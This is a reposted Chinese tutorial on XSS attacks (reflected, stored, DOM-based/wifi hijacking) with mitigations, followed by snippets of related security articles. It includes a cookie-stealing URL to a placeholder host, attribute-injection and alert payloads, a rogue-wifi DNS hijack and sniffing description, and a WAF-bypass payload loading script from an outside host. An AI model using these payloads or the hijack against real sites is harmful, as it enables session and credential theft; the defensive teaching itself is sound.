前端安全之 XSS 攻擊

2021-02-13 前端大全

(點擊上方公眾號,可快速關注)

作者:海角在眼前

www.cnblogs.com/lovesong/p/5199623.html

如有好文章投稿,請點擊 → 這裡了解詳情

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是「跨域」和「客戶端執行」。有人將XSS攻擊分為三種,分別是:

1. Reflected XSS(基於反射的XSS攻擊)

2. Stored XSS(基於存儲的XSS攻擊)

3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)

Reflected XSS

基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。

例子:

1. 做個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。

2. 在搜索框搜索內容,填入「// 」, 點擊搜索。

3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:

http://www.amazon.cn/search?name=script>document.location='http://xxx/get?cookie='+document.cookiescript>

PS:這個地址當然是沒效的,只是舉例子而已。

結論:

如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。

開發安全措施:

1. 前端在顯示服務端數據時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。

2. 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。

例如:

標籤:

<span><script>alert('handsome boy')</script></span>

轉義

<span>&lt;script&gt;alert('handsome boy')&lt;/script&gt</span>

屬性:

如果一個input的value屬性值是

琅琊榜" onclick="javascript:alert('handsome boy')

就可能出現

<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">

點擊input導致攻擊腳本被執行,解決方式可以對script或者雙引號進行過濾。

Stored XSS

基於存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在伺服器,每個訪問該帖子/文章的人就會觸發執行。

例子:

1. 發一篇文章,裡面包含了惡意腳本

今天天氣不錯啊!<script>alert('handsome boy')</script>

2. 後端沒有對文章進行過濾,直接保存文章內容到資料庫。

3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。

PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。

結論:

後端儘可能對提交數據做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。

開發安全措施:

1. 首要是服務端要進行過濾,因為前端的校驗可以被繞過。

2. 當服務端不校驗時候,前端要以各種方式過濾裡面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。

DOM-based or local XSS

基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須經過伺服器返回就是基於本地的XSS攻擊。

例子1:

1. 提供一個免費的wifi。

1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設置為我們的電腦IP。

2. 之後連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host欄位來轉發到真正伺服器上。

3. 收到伺服器返回的數據之後,我們就可以實現網頁腳本的注入,並返回給用戶。

4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。

PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的,請注意!

這個其實就是wifi流量劫持,中間人可以看到用戶的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚頁面。

例子2:

1. 還是提供一個免費wifi

2. 在我們電腦上進行抓包

3. 分析數據,可以獲取用戶的微信朋友圈、郵箱、社交網站帳號數據(HTTP)等。

PS:這個是我的測試,在51job頁面登錄時進行抓包,可以獲取帳號密碼。

結論:

這攻擊其實跟網站本身沒有什麼關係,只是數據被中間人獲取了而已,而由於HTTP是明文傳輸的,所以是極可能被竊取的。

開發安全措施:

1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數據之前進行一次握手,使得客戶端與服務端都有一個私鑰,服務端用這個私鑰加密,客戶端用這個私鑰解密,這樣即使數據被人截取了,也是加密後的數據。

總結

XSS攻擊的特點就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本(某篇文章說的)。本地的XSS攻擊的示例2其實不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是我們開發時候要注意的,而流量劫持的則可以使用HTTPS提高安全性,。

覺得本文對你有幫助?請分享給更多人

關注「前端大全」,提升前端技能

相關焦點

  • 【第849期】如何讓前端更安全?——XSS攻擊和防禦詳解
    就可能導致XSS攻擊;DOM-XSS純粹發生在客戶端的XSS攻擊,比如:http://www.some.site/page.html?default=French頁面代碼:該XSS攻擊實現條件:http://www.some.site/page.html?
  • 前端安全之XSS攻擊
    結論:如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。開發安全措施:1. 前端在顯示服務端數據時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。2. 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
  • 如何用前端防禦XSS及建立XSS報警機制
    ['xss'];  }  mysql_close();前端輸入及反饋defenderXssTest.html:<!大家都知道前端過濾XSS是可以被抓包軟體給修改的,所以是可以繞過,沒有什麼用。而Nginx過濾我相信大家都知道,很少有人願意娶用它,因為如果是做安全文章一類的話,是會被Nginx給拋棄當前的數據包的,也就是你發布的文章不會被存到資料庫裡,而且Nginx防禦XSS模塊並沒有前端、後端那樣簡單方便,需要配置的東西很多。
  • 前端安全之 XSS攻擊 通俗講解
    結論:如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。開發安全措施:1. 前端在顯示服務端數據時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。2. 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
  • 從零學習安全測試,從XSS漏洞攻擊和防禦開始
    同時我建立了一個簡易的攻擊模型用於XSS漏洞學習。1. 漏洞術語了解一些簡單術語就好。VULVulnerability漏洞,指能對系統造成損壞或能借之攻擊系統的Bug。0DAY漏洞和0DAY攻擊零日漏洞或零時差漏洞(Zero-dayexploit)通常是指還沒有補丁的安全漏洞。零日攻擊或零時差攻擊(Zero-dayattack)則是指利用這種漏洞進行的攻擊。
  • XSS攻擊
    XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是「跨域」和「客戶端執行」。Web攻擊。結論:如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。開發安全措施:1. 前端在顯示服務端數據時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。2. 後端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。
  • 乾貨 | 如何繞過XSS防護
    防範:    前端通過轉義來進行防範和過濾    後端主要是通過WAF正則+OWASP規則+XSS語義分析+機器學習payload特徵進行防衛。我認為諷刺的是,Netscape認為Gecko更安全,因此對絕大多數網站來說都很脆弱。
  • 簡單討論一下七種 XSS
    除了老生常談的反射型,存儲型和 DOM型 XSS這意味著,造成漏洞的根本原因並不來源於服務端代碼,而是瀏覽器執行的 JavaScript 客戶端代碼帶來了漏洞。比較常見的 DOM-based XSS payload 的輸入點在 URL 的錨點(#)後面。
  • 通過前端JS到後臺文件上傳html實戰
    過程前端JS進入後臺某日拿到授權站點,開始漫長的信息收集……收集了許久,找到了一個後臺,可惜用了許多方法都無法滲透進去。就在一籌莫展之際,突然想到了一些師傅通過前端JS尋找接口的騷操作,這裡開始躍躍欲試。F12點擊Sources,成功尋找到了userlogin.js。
  • 安全滲透測試
    安全滲透測試服務內容滲透測試服務是在獲得客戶的授權下,模擬黑客的攻擊方法對目標的信息系統進行的非破壞性質攻擊測試
  • 深度學習之Keras檢測惡意流量
    安全能力&感知攻擊如何監控感知一個安全的應用邊界,提升邊界的安全感知能力尤為重要,那麼常見七層流量感知能力又有哪些?靜態規則檢測方式,來一條惡意流量使用規則進行命中匹配,這種方式見效快但也遺留下一些問題,舉例來說,我們每年都會在類似 WAF、NIDS 上增加大量的靜態規則來識別惡意攻擊,當檢測規則達到一定數量後,後續新來的安全運營同學回溯每條規則有效性帶來巨大成本、規則維護的不好同樣也就暴露出了安全風險各種被繞過的攻擊未被安全工程師有效識別、規則數量和檢測效果上的冗餘也降低了檢測效率、海量的攻擊誤報又讓安全運營同學頭大
  • 信息安全紅隊項目
    https://github.com/mitre/caldera mitre公司模擬攻擊測試系統,主要是在win下https://github.com/guardicore/monkey 評估網絡安全狀況,分為掃描器與C2C伺服器,利用默認口令與exp對ssh、smb等多種協議方式進行攻擊檢測https://github.com/grayddq/PublicSecScan
  • 前端離線化探索
    談及離線,仿佛想到的是深海老林,荒無人煙之處。事實上,離線離我們的生活很近,也非常頻繁。高速公路、地鐵隧道、樓道角落,以及諸多日常信號不穩定區域,這些場景每天都有大量用戶經過,每天有成千萬用戶頻繁因為網絡問題,心底裡吐槽抱怨過我們的應用,斷網離線並非我們的錯,但我們是否能夠從用戶體驗的角度,嘗試改善他們在進入弱網或無網絡狀態時的焦慮情緒呢,從而給產品帶來更正向的體驗收益,提升用戶留存與口碑。
  • 常用安全測試用例(一)
    rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email][img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss
  • 前端面試之JavaScript(總結)
    ==來比較true和false或者數字值4.eval是做什麼的他的功能是把對應的字符串解析成JS代碼並運行; 他不安全,而且非常耗能(執行兩次,一次解析成JS代碼,一次執行)5.對閉包的理解閉包是指有權訪問另一個函數作用域中變量的函數,創建閉包的最常見的方式就是在一個函數裡創建另一個函數,通過另一個函數訪問這個函數的局部變量,利用閉包可以突破作用域鏈,將函數內部的變量和方法傳遞到外部
  • 護網行動之攻擊隊技戰法
    https://github.com/mitre/caldera mitre 公司模擬攻擊測試系統,主要是在 win 下https://github.com/guardicore/monkey 評估網絡安全狀況,分為掃描器與 C2C 伺服器,利用默認口令與 exp 對 ssh、smb 等多種協議方式進行攻擊檢測https://github.com/grayddq
  • 長亭WAF XSS防護繞過小記
    前言某次業務上線常規安全測試,有記錄操作的功能,猜測存在存儲型XSS漏洞,但由於存在長亭WAF被攔截。遂將之前總結的XSS繞過手段逐一測試了下。<details open ontoggle=top.eval("appendChild(createElement('script')).src='http://www.w2n1ck.com/xss.js'")>嘗試windows對象,攔截
  • 前端專題之npm包
    npm 出現之前:前端依賴項是保存到存儲庫中並手動下載的📁2012:npm 的使用量急劇增加——主要是由於 Browserifys 瀏覽器的支持🎉2012:npm 有了一個競爭對手 bower,它完全支持瀏覽器💻2012-2016:前端項目的依賴項數量成倍增加🤯2012-2016:構建和安裝前端應用變得越來越慢🐢2012-2016:大量(重複的)依賴項存儲在神奇的 node_modules
  • 匿名者組織攻擊聯合國和世界衛生組織網站
    但這次只是用了一個反射xss,然後顯示一個圖片並沒有拿下權限(大概)/xxx/xx.exe?上期閱讀▲近期"境外黑客試圖攻擊中國"諸事有感有興趣就掃碼進知識星球吧,一年平均一天1塊多。但你可以比別人早3天看見上面這些信息。